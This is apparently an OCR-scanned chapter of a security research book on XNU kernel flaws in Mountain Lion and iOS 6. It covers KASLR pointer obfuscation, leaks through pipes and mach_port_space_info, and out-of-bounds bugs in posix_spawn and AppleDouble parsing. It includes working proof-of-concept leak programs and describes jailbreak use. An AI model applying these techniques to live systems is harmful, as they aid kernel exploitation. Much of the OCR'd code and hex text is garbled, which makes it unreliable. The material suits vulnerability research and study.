Within the XNU kernel a number of kernel API calls return kernel space addresses back
to user-space programs. Due to the introduction of KASLR into Mountain Lion and iOS 6
Apple started to kill these information leaks that reveal kernel space addresses by either
removing them, nullifying them or by obfuscating their value by adding a random value.
The obfuscation is implemented in a macro called VM_KERNEL_ADDRPERM, which is
defined in the XNU source code in the file /0SFMK/MACH/VM_PARAM.H:

#define VM_KERNEL_ADDRPERM(_v) \
(((vm_offset_t)(_v) == 0) ? \
(vm_offset_t)(0) : \

(vm_offset_t)(_v) + vm_kernel_addrperm)

The actual random value inside VM_KERNEL_ADDRPERM is generated inside
KERNEL_BOOTSTRAP_THREAD in the file /0SFMK/KERN /STARTUP.C:

/%

* Initialize the global used for permuting kernel

* addresses that may be exported to userland as tokens
* using VM_KERNEL_ADDRPERM(). Force the random number
* to be odd to avoid mapping a non-zero

* word-aligned address to zero via addition.

*/

vm_kernel_addrperm = (vm_offset_t)early_random() | 1;

From this implementation it should be obvious that if it is possible for us to get both the
obfuscated version of an address and its de-obfuscated version, then we can easily
calculate the value of VM_KERNEL_ADDRPERM with a simple subtraction. And because the
kernel uses the same obfuscation everywhere this basically means we can de-obfuscate
all the kernel pointers returned if we achieve this.

Within Mountain Lion there is vulnerability, which allows achieving this in an easy way.
However this exploit does however not work on i0OS because Apple seems to have
applied the use of the macro separately from the Mountain Lion source code. Therefore
in one or the other version of the source code the macro might be applied in certain
places or not.

The vulnerability we discovered lies in the obfuscation of kernel pipe handles, which are
direct kernel addresses. The problem with these pipes is that there are at least two
different ways to get access to the handle and only in one place the obfuscation macro is
applied. The first way to get access to the handle is via the FSTAT syscall. For pipes it will
return the address of the pipe inside the inode number. However as you can see in the
code snippet from PIPE_STAT, which is defined in the file /BSD/KERN/SYS_PIPE.C here the
obfuscation is applied:

/*

* Return a relatively unique inode number based on the current

* address of this pipe's struct pipe. This number may be recycled
* relatively quickly.

*/

sb—>st_ino = (ino_t)VM_KERNEL_ADDRPERM( (uintptr_t)cpipe);



This is however not the only way to retrieve the pipe’s address. Another way is through
the PROC_INFO syscall via the PROC_PIDFDPIPEINFO option. This will jump through
some subroutine calls until it ends in FILL_PIPEINFO that is defined inside the same
/BSD/KERN/SYS_PIPE.C file. Within this function the obfuscation was obviously forgotten
in the Mountain Lion version of the source code. Inside the i0S version this problem is
however not existent.

pinfo->pipe_handle = (uint64_t) ((uintptr_t)cpipe);
pinfo->pipe_peerhandle = (uint64_t) ((uintptr_t) (cpipe->pipe_peer));
pinfo->pipe_status = cpipe->pipe_state;

With this vulnerability it is now relatively easy to find the value of
VM_KERNEL_ADDRPERM as shown by the following sample:

#include <unistd.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/proc_info.h>
#include <sys/syscall.h>

int main()
{
int fds[2];
struct stat pstat;
ino_t secret;
struct pipe_fdinfo pinfo;

memset (&pinfo, 0, sizeof(pinfo));

if (pipe(&fds) == -1) {
perror("error in pipe()");
_exit(0);

}

if (fstat(fds[0], &pstat) == -1) {
perror("error in fstat()");
_exit(0);

}

syscall(SYS_proc_info, 3, getpid(), PROC_PIDFDPIPEINFO, fds[@], &pinfo,
sizeof(pinfo));
printf("Obfuscated Pipe @ Address: %0161x\n"
"Real Pipe 0 Address: %0161x\n"
"vm_kernel_addrperm: %0161x\n"
"—-—\n", pstat.st_ino, pinfo.pipeinfo.pipe_handle,
pstat.st_ino- pinfo.pipeinfo.pipe_handle);

if (fstat(fds[1], &pstat) == -1) {
perror("error in fstat()");
_exit(0);

}

syscall(SYS_proc_info, 3, getpid(), PROC_PIDFDPIPEINFO, fds[1], &pinfo,
sizeof(pinfo));
printf("Obfuscated Pipe 1 Address: %0161x\n"
"Real Pipe 1 Address: %016 1x\n"
"vm_kernel_addrperm: %0161x\n"
"—-—\n", pstat.st_ino, pinfo.pipeinfo.pipe_handle,
pstat.st_ino- pinfo.pipeinfo.pipe_handle);



Aside from the more complex way to actually call the PROC_INFO syscall this example is
pretty straightforward and will output something like the following output once you run
it:

$ ./infoleakingpipes
Obfuscated Pipe 0 Address: 708dec4d7736d8bl

Real Pipe 0 Address: ffffff801c676840
vm_kernel_addrperm: 708deccd5acf7071
Obfuscated Pipe 1 Address: 708dec4d85alaebl
Real Pipe 1 Address: ffffff802ad23e40
vm_kernel_addrperm: 708deccd5acf7071

And from here we have no more problems with de-obfuscating the other kernel
addresses returned by the different kernel API that use obfuscation.

Kernel Information Leak in mach_port_space_info

MACH_PORT_SPACE _INFO is a debugging function defined in /0SFMK/1PC/MACH_DEBUG.C
that returns information about an IPC space. IPC spaces are used by the kernel to
manage port names and rights available to a task. The function returns all the
collected information about the select IPC space in an array of type
IPC_INFO_NAME_T, which is defined in /0SFMK/MACH_DEBUG /IPC_INFO.H in the XNU
source code:

typedef struct ipc_info_name {
mach_port_name_t iin_name; /* port name, including gen number x/
/*boolean_t*x/integer_t iin_collision; /% collision at this entry? *x/
mach_port_type_t iin_type; /% straight port type %/

mach_port_urefs_t iin_urefs; /* user-references x/
natural_t iin_object; /* object pointer/identifier x/
natural_t iin_next; /* marequest/next in free list %/
natural_t iin_hash; /* hash index *x/

} ipc_info_name_t;

Within the function kmem_alloc is used to allocate the necessary space:
kr = kmem_alloc(ipc_kernel_map, &table_addr, table_size_needed);

The code then traverses the IPC space and fills the allocated memory in a loop with the
requested data:

table_info = (ipc_info_name_array_t)table_addr;
for (index = 0; index < tsize; index++) {
ipc_info_name_t xiin = &table_info[index];
ipc_entry_t entry = &table[index];
ipc_entry_bits_t bits;

bits = entry->ie_bits;
iin—>iin_name = MACH_PORT_MAKE(index, IE_BITS_GEN(bits));
iin->iin_type = IE_BITS_TYPE(bits);
if ((entry->ie_bits & MACH_PORT_TYPE_PORT_RIGHTS) != MACH_PORT_TYPE_NONE &&
entry—->ie_request != IE_REQ_NONE) {
ipc_port_t port = (ipc_port_t) entry->ie_object;

assert(IP_VALID(port));
ip_lock(port);



iin—>iin_type |= ipc_port_request_type(port, iin->iin_name, entry-
>ie_request);
ip_unlock(port);
}

iin->iin_urefs = IE_BITS_UREFS(bits);

iin->iin_object = (natural_t)VM_KERNEL_ADDRPERM((uintptr_t)entry->ie_object);
iin—>iin_next entry->ie_next;

iin—->iin_hash entry->ie_index;

The security problem in this function gets obvious when you compare the fields written,
which are marked in yellow, with the fields available inside 1Pc_INFO_NAME_T. If you look
closely you will see that 1IN_COLLISION is not filled in this function. And when you do a
search through the whole source code you will see that it is not written anywhere in the
code at all. Because of this and because the memory is never initialized after the
KMEM_ALLOC call, for every element in the table four bytes of kernel heap are leaked.

While abusing this information leak for something useful might be a bit tricky, actually
triggering the information leak and showing that indeed data is leaked is very easy. Just
try out the following sample program:

#include <mach/mach.h>
#include <mach/mach_port.h>

int main()

{
mach_port_t space;
mach_msg_type_number_t num = 0;
ipc_info_space_t info;
ipc_info_name_array_t table;
ipc_info_tree_name_array_t tree;
mach_msg_type_number_t treenum = 0;
int ij;
space = mach_task_self();

ipc_info_name_t *ipc_i_n = 0;
mach_port_space_info(space, &info, &table, &num, &tree, &treenum);

printf("table entries: %u\n", num);
for (i=0; i<num; i++) {

printf("leaked data: %@8x\n", table[il.iin_collision);
Y

b

When you execute this program multiple times, you will get output like the following:

$ ./mach_port_space_info
table entries: 21
leaked data: 00000001
leaked data: 16086de@
leaked data: 00000001
leaked data: 16086120
leaked data: 00000001
leaked data: 160854a0
leaked data: 00000001
leaked data: 160847e0
leaked data: 00000001
leaked data: 16083b60
leaked data: 00000001
leaked data: 16082ee0
leaked data: 00000001



leaked data: 16082220
leaked data: 00000001
leaked data: 00000000
leaked data: 00000000
leaked data: 00000000
leaked data: 00000000
leaked data: 00000000
leaked data: 00000000

$ ./mach_port_space_info
table entries: 21
leaked data: 00000207
leaked data: 00000907
leaked data: 00001003
leaked data: 00001703
leaked data: 00002203
leaked data: 00002913
leaked data: 00003007
leaked data: 00003703
leaked data: 00003e03
leaked data: 00004603
leaked data: 00004d07
leaked data: 00005403
leaked data: 00005b03
leaked data: 00006303
leaked data: 00006a03
leaked data: 00007103
leaked data: 00007a0f
leaked data: 0000860f
leaked data: 00000000
leaked data: 00000000
leaked data: 00000000

As you can see the data returned is different on each execution, which demonstrates the
kernel information leak.

Kernel Information Leak and Easy Crash Vulnerability in posix_spawn()
As discusses earlier POSIX_SPAWN is a more powerful way to spawn programs that comes
with lots of extra features over a simple EXECVE. Two of these features are the possibility
to define so called file actions and so called port actions. These actions allow for example
to create new/open files or to allocate specific ports inside the program before actually
running it. While reading the code for this we discovered possible out of bounds reads in
this code that can either lead to kernel information leakage or a kernel panic.

In the following code PX_ARGS.FILE_ACTIONS_SIZE is a user-space supplied value
specifying the amount of data supplied that describe the FILE_ACTIONS. As you can see
this size is first is first validated against a required minimum size and then against a
maximum size. If the size passes the check memory is allocated and filled from user-
space.

if (px_args.file_actions_size != 0) {
/* Limit file_actions to allowed number of open files */
int maxfa = (p->p_limit ? p—>p_rlimit [RLIMIT_NOFILE].rlim_cur : NOFILE);
if (px_args.file_actions_size < PSF_ACTIONS_SIZE(1) ||
px_args.file_actions_size > PSF_ACTIONS_SIZE(maxfa)) {
error = EINVAL;
goto bad;
¥
MALLOC(px_sfap, _posix_spawn_file_actions_t, px_args.file_actions_size, M_TEMP,
M_WAITOK);



if (px_sfap == NULL) {
error = ENOMEM;
goto bad;

¥

imgp—>ip_px_sfa = px_sfap;

if ((error = copyin(px_args.file_actions, px_sfap,
px_args.file_actions_size)) != 0)
goto bad;

To understand that this code is doing something wrong it is required to first look into
the definition of _POSIX_SPAWN_FILE_ACTIONS_T, which is defined in
/BSD/SYS/SPAWN_INTERNAL.H:

typedef struct _psfa_action {

psfa_t psfaa_type; /* file action type */
int psfaa_filedes; /* fd to operate on x/
struct _psfaa_open {

int psfao_oflag; /*x open flags to use x/

mode_t psfao_mode; /* mode for open x/
char psfao_path[PATH_MAX]; /% path to open %/
} psfaa_openargs;
} _psfa_action_t;

typedef struct _posix_spawn_file_actions {
int psfa_act_alloc; /* available actions space */
int psfa_act_count; /*x count of defined actions x/
_psfa_action_t psfa_act_acts[]; /% actions array (uses c99) x/
} *x_posix_spawn_file_actions_t;

As you can see the file actions data is supposed to be a short header followed by an array
of fixed size elements. However it is also visible that the header contains a
PSFA_ACT_COUNT element. When you look at the size check above you will realize that
this count is not taken into account when checking the supplied size. The code should
verify that at least the required amount of data for the supplied count is available. If the
rest of the code also lacks such a check this smells very much like out of bounds data
access will occur. Inside kernel land this can easily end up in a kernel panic.

Because of this lets have a look into the function EXEC_HANDLE_FILE_ACTIONS, which is
defined in /BSD/KERN/KERN_EXEC.C and handles all the supplied file actions:

static int
exec_handle_file_actions(struct image_params *ximgp, short psa_flags)
{
int error = 0;
int action;
proc_t p = vfs_context_proc(imgp->ip_vfs_context);
_posix_spawn_file_actions_t px_sfap = imgp—>ip_px_sfa;
int ivall2]; /* dummy retval for system calls) x/

for (action = 0; action < px_sfap->psfa_act_count; action++) {
_psfa_action_t xpsfa = &px_sfap—>psfa_act_acts[ action];

switch(psfa—->psfaa_type) {
case PSFA_OPEN: {

CaSe ...t
default:
error = EINVAL;
break;



}
/* All file actions failures are considered fatal, per POSIX *x/

if (error)
break;

As you can see in the code above, there is no check for traversing past the end of the
allocated buffer. This means that this code can easily made crashing the kernel by having
an invalid count value and not enough allocated memory.

However this code can also be abused for a kernel information leak by carefully crafting
the content of the buffer and choosing a count that will go one past the end of the buffer.
In this case the PSFAO_PATH element is partially inside the buffer and partially not. The
beginning of the path until the end of the buffer is then chosen to be a valid path like
/////////////T™P/INFOLEAK_, with the underscore being the last byte of the allocated
buffer. The rest of the filename for the PSFA_OPEN command will then come from
behind the buffer. In case this results in a legal filename the kernel will create a file of
that name inside the /TMP directory and pass a file descriptor to the program. It is then
possible with a simple FCNTL(F_GETPATH) to retrieve the full filename including the
leaked kernel heap bytes from the open file-descriptor.

When looking at the code for the port actions, one will realize that it suffers from the
same size check problem. It is therefore easy to crash the kernel through port actions,
too. However the code should be much harder to abuse for information leakage, because
it performs heavy validations on the supplied values.

get_xattrinfo() extended attribute swap header memory corruption

When you use extended attributes on a file system that does not support them natively
XNU has a fallback implementation that stores the extended attributes in ._ files. You can
check that by creating a simple test file and adding extended attributes to it on e.g. a USB
stick that is formatted with the FAT filesystem:

$ touch test

$ xattr —w testattr testvalue test
$ xattr -1 test

testattr: testvalue

$ hexdump —C ._test

00000000 00 05 16 07 00 02 00 00 4d 61 63 20 4f 53 20 58 |.vuuussn Mac 0S X]
00000010 20 20 20 20 20 20 20 20 00 02 00 00 00 09 00 00 | = ..i..eas |
00000020 00 32 00 00 Qe b0 00 00 00 02 00 00 Qe €2 00 00 |.2.ueevuussnnnss |
00000030 01 le 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |..vuvewrvunsunsss |
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |..vuvesruunsnnnss |
00000050 00 00 00 @0 41 54 54 52 3b 9a c9 ff 00 00 Qe e2 |....ATTR;....... |
00000060 00 00 00 8c 00 00 00 09 00 00 00 00 00 00 00 00 |..vuvesrvunsnnsss |
00000070 00 00 00 00 00 00 00 01 00 00 00 8C 00 00 00 09 |.vvveeruunsunsss |
00000080 00 00 09 74 65 73 74 61 74 74 72 00 74 65 73 74 |...testattr.test|
00000090 76 61 6C 75 65 00 00 00 00 00 00 00 00 00 00 00 |value..u.ssuwusss |
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |..vuveervunsunsss |
>k

00000ced 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 |..vuvesruunsunnss |
00000ef@ 00 le 54 68 69 73 20 72 65 73 6f 75 72 63 65 20 |..This resource |
00000f00 66 6T 72 6b 20 69 6e 74 65 6e 74 69 6T 6e 61 6¢c |fork intentional]|
00000f1@ 6C 79 20 6C 65 66 74 20 62 6C 61 6e 6b 20 20 20 |ly left blank |
0000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |..vuveervunsunnss |



*
00000Tfec@ 00 00 00 00 01 00 00 00 01 00 00 00 00 00 00 00 |....vvvuwuwnnnnnns
00000TT0 00 le 00 00 00 00 00 00 00 00 00 1c 00 le ff ff |oviivivvvnnnnnns |
00001000

These dotdash files seem to be internally called AppleDouble files and are parsed mostly
inside the file /BSD/VFS/VFS_XATTR.C. These file start with a header of type
APPLE_DOUBLE_HEADER_T that is defined as:

#define FINDERINFOSIZE 32

typedef struct apple_double_entry {
u_int32_t type; /* entry type: see list, @ invalid x/
u_int32_t offset; /*x entry data offset from the beginning of the file. */
u_int32_t length; /*x entry data length in bytes. */

} __attribute_ ((aligned(2), packed)) apple_double_entry_t;

typedef struct apple_double_header {

u_int32_t magic; /* == ADH_MAGIC x/

u_int32_t version; /*x format version: 2 = 0x00020000 */
u_int32_t fillerl[4];

u_intlé_t numEntries; /* number of entries which follow *x/

apple_double_entry_t entries[2]; /% 'finfo' & 'rsrc' always exist x/
u_int8_t finfo [FINDERINFOSIZE]; /% Must start with Finder Info (32 bytes) x/
u_int8_t pad[2]; /* get better alignment inside attr_header x/

} __attribute_ ((aligned(2), packed)) apple_double_header_t;

These files are stores in the big endian byte order and therefore all header fields need to
be swapped before they can be used. In case of extended attributes the code also uses an
ATTR_HEADER_T that is defined as follows:

/* Header + entries must fit into 64K. Data may extend beyond 64K. *x/
typedef struct attr_header {
apple_double_header_t appledouble;
u_int32_t magic; /* == ATTR_HDR_MAGIC */
u_int32_t debug_tag; /* for debugging == file id of owning file x/
u_int32_t total_size; /x file offset of end of attribute header + entries +
data *x/
u_int32_t data_start; /* file offset to attribute data area */
u_int32_t data_length; /% length of attribute data area */
u_int32_t reserved[3];
u_intl6é_t flags;
u_intl6é_t num_attrs;
} __attribute_ ((aligned(2), packed)) attr_header_t;

As you can see the attr header is supposed to come directly after the apple double
header, which is directly reflected in its definition. This definition might be the cause for
confusion among the Apple developers responsible for this code and this might explain
the memory corruption we are about to explain.

When you look at the case of only one entry being defined inside the apple double
header and this being of type AD_FINDERINFO then we can cause an error condition
when the following code is triggered inside the function GET_XATTRINFO:

/*

Swap and sanity check the extended attribute header and
entries (if any). The Finder Info content must be big enough
to include the extended attribute header; if not, we just
ignore it.

* X X X %



Note that we're passing the offset + length (i.e. the end)
of the Finder Info instead of rawsize to validate_attrhdr.
This ensures that all extended attributes lie within the
Finder Info content according to the AppleDouble entry.

Sets ainfop—>attrhdr and ainfop—>attr_entry if a valid
header was found.

¥ X K X X X X

*
~

if (ainfop—>finderinfo &&
ainfop—>finderinfo == &filehdr->entries[0] &&
ainfop—>finderinfo->length >= (sizeof(attr_header_t) -
sizeof(apple_double_header_t))) {
attr_header_t xattrhdr = (attr_header_tx)filehdr;

if ((error = check_and_swap_attrhdr(attrhdr, ainfop)) == 0) {
ainfop—>attrhdr = attrhdr; /x valid attribute header x/
/* First attr_entry starts immediately following attribute header x/
ainfop—>attr_entry = (attr_entry_t x)&attrhdr[1];
}
}

We will pass the first two conditions in the if statement because we have one
AD_FINDERINFO and it is defines as first entry. We will also pass the length check,
because we can arbitrary set this length to any value >= FINDERINFOSIZE == 32. In fact
you will realize that this check is completely broken, because it does not account for the
actual size of the FINFO field and the 2 bytes of padding. Therefore a value greater of
equal to 32 is always greater to 28 bytes, which is the rest of the attr_header_t. A
correct check would also subtract the FINDERINFOSIZE and 2 bytes of padding == 34 in
the comparison.

This means that this code can be tricked with an AppleDouble header file that contains
only the FINDERINFO and an ATTR_HEADER_T but is actually too short to hold both. The
minimum allocated buffer could be SIZEOF(APPLE_DOUBLE_HEADER_T) == 84 bytes plus
the 4 bytes header added by MALLOC() resulting in a total allocation of 88 bytes. On
Mountain Lion this would place such an allocation in the KALLOC.128 zone. On i0S > 5.0
on the other hand this places the allocation in the zone KALLOC.88. So on Mountain Lion
there is still plenty of rest zone memory left after this minimum size and on i0OS
everything happening afterwards would be outside the buffer.

When we now take a look into the function CHECK_AND_SWAP_ATTRHDR we will realize
that we cannot use such a small size, because then it would be tricky to pass the check of
the ATTR_HEADER_T magic value:

/%
Validate and swap the attributes header contents, and each attribute's
attr_entry_t.

Note: Assumes the caller has verified that the Finder Info content is large
enough to contain the attr_header structure itself. Therefore, we can
swap the header fields before sanity checking them.

* % % X ¥

*

*/
static int
check_and_swap_attrhdr(attr_header_t *xah, attr_info_t xainfop)
{
attr_entry_t *ae;
u_int8_t xbuf_end;
u_int32_t end;
int count;
int i;



if (ah == NULL)
return EINVAL;

if (SWAP32(ah->magic) != ATTR_HDR_MAGIC)
return EINVAL;

/* Swap the basic header fields */
ah—->magic = SWAP32(ah->magic);
ah->debug_tag SWAP32 (ah->debug_tag);
ah—->total_size SWAP32 (ah->total_size);
ah—>data_start SWAP32 (ah->data_start);
ah->data_length = SWAP32 (ah->data_length);
ah—->flags SWAP16 (ah—>flags);
ah—>num_attrs SWAP16 (ah—>num_attrs);

Especially amusing about the code above is the comment that says that the caller has
verified the FINDERINFO content is large enough, which we saw earlier is not the case.
Anyway because we want to pass the check against ATTR_HDR_MAGIC we have to
assume that we need at least 4 more bytes in our block. These 94 bytes will still fit into
the KALLOC.128 zone in Mountain Lion but now require a KALLOC.112 zone in iOS. As
you can see the ATTR_HEADER_T fits completely into this zone in Mountain Lion, but for
i0OS it is 12 bytes too short. This means the SWAP16 operations on AH->FLAGS and
AH->NUM_ATTRS are outside the buffer for iOS. In fact this means we have found a
memory corruption of the KALLOC.112 zone that happens at offset 8 in the next buffer.
The kind of memory corruption is a double 16bit swap. This might be most useful
against a 32bit counter or length field. For Mountain Lion the broken length check seems
to be not exploitable because the ATTR_HEADER_T is completely within the KALLOC.128
zone and the code afterwards does proper boundary checking and therefore will detect
a violation of the buffer limits.

Analyzing this vulnerability shows that (even ignoring possible hurdles during
exploitation) it is only of limited use for exploiting i0S. The reasons for that are the
following:

1. Access to a non HFS filesystem is required and only iPads have the necessary
kernel driver for msdosfs/FAT

2. Mounting an msdosfs on an iPad requires either root privs for /dev/vn access
(which is fine inside an untether) or the iPad camera extension kit and a USB
stick/SD card (physical access + device to buy)

3. Exploit must be able to read the extended attributes of a file contained in the
msdosfs, which is no problem inside an untether but requires an initial exploit
inside the Photos application to get this kind of access to the mounted USB drive

This means this vulnerability could be used for untethering iOS on iPads or for a full
blown iPad-only jailbreak if you combine it with an exploit against the Photos
application, which would most probably require a vulnerability in an image library.



